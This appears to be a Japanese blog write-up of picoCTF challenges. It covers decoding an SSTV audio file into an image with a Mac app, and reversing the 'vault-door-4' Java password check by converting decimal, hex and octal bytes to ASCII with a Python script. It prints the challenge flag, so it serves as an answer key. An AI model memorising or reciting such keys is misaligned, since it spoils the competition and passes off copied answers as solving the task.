色々ツールがあったのでいくつか試してみましたが(Mac用 & Android用)、うまくいきません。Hintsの他にGameをすることで手に入るWalkThroughも見てみようと思ったのですが、この問題には設定されていませんでした...。
ツール探しに時間が溶けそうだったので他の問題を優先して競技期間中はここで時間切れ。
もう一度自分で調べるところから始めようかと思いましたが、今回は手っ取り早く他の方のwriteupを読みました。
これらによると、DTMF
ではなくSSTV
というフォーマットだったらしい…!絶対DTMFだと思ってたので、深追いしなくてよかった…。
moon landing transfar protocol
こんな感じでぐぐってみると、
Moon landing conspiracy theories - Wikipedia
月面着陸陰謀説のwikipediaがhit...!実はこの中にSSTVについて言及されていました。ここからなら辿れたかもしれないけど厳しそう。
Apollo TV camera
というトピックもあったみたい。こっちのほうが引っ掛けやすかったかな?なんにしても情報収集難しい。
これを音声から映像に変換するツールを探してみます。
Mac OSX
- SSTV Slow Scan TV ※有料
- MultiScan 3B
- Receiving / Decoding ACARS Transmissions from Aircraft With Your Macintosh
Mac使いなので、今回はMacOSXで紹介した2つ目のツールを使ってみました。
アプリを立ち上げて、携帯から先程DLしたmessage.wav
を流してみます。すると勝手に受信・解析を始めてくれました。
いまいちぱきっとした画像にならなかったので色々いじってみた最終結果がこちら。
ヒントのScottieはRX optionに使えとのことでしたが、勝手に選択してくれていました(画面下部)。
また、右上の"Slant"バーを調整すると傾きが変わり、最初は読めるかギリギリアウトくらいだった画像が「まぁ読める。」くらいになりました。
他のwriteup見てるとまだまだ画像が乱れてそうですが、flagが読めるのでここで切り上げ。アポロのとき、宇宙からの画像送信に使われた技術だと思うとロマンが溢れてますねー!
[Reversing] vault-door-4 (250pt)
This vault uses ASCII encoding for the password. The source code for this vault is here: VaultDoor4.java
javaファイルが配布されます。
import java.util.*; class VaultDoor4 { public static void main(String args[]) { VaultDoor4 vaultDoor = new VaultDoor4(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // I made myself dizzy converting all of these numbers into different bases, // so I just *know* that this vault will be impenetrable. This will make Dr. // Evil like me better than all of the other minions--especially Minion // #5620--I just know it! // // .:::. .:::. // :::::::.::::::: // ::::::::::::::: // ':::::::::::::' // ':::::::::' // ':::::' // ':' // -Minion #7781 public boolean checkPassword(String password) { byte[] passBytes = password.getBytes(); byte[] myBytes = { 106 , 85 , 53 , 116 , 95 , 52 , 95 , 98 , 0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f, 0142, 0131, 0164, 063 , 0163, 0137, 062 , 066 , '7' , 'e' , '0' , '3' , 'd' , '1' , '1' , '6' , }; for (int i=0; i<32; i++) { if (passBytes[i] != myBytes[i]) { return false; } } return true; } }
またコメントに気合が入っています。どうやら全部違うbaseで変換されているようですが、最終的には全部asciiにしたら良さそう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import binascii my_bytes = ['106' , '85' , '53' , '116' , '95' , '52' , '95' , '98', '0x55' , '0x6e' , '0x43' , '0x68' , '0x5f' , '0x30' , '0x66' , '0x5f', '0142' , '0131' , '0164' , '063' , '0163' , '0137' , '062' , '066' , '7' , 'e' , '0' , '3' , 'd' , '1' , '1' , '6'] def hex2ascii(hex_str): return bytes.fromhex(hex_str[2:]).decode('utf-8') def oct2ascii(oct_str): return chr(int(oct_str, 8)) def int2ascii(int_str): return chr(int(int_str)) flag = '' for i in range(8): flag += int2ascii(my_bytes[i]) for i in range(8): flag += hex2ascii(my_bytes[8+i]) for i in range(8): flag += oct2ascii(my_bytes[16+i]) for i in range(8): flag += my_bytes[24+i] print('picoCTF{' + flag + '}')
実行結果
$ python solve.py picoCTF{jU5t_4_bUnCh_0f_bYt3s_267e03d116}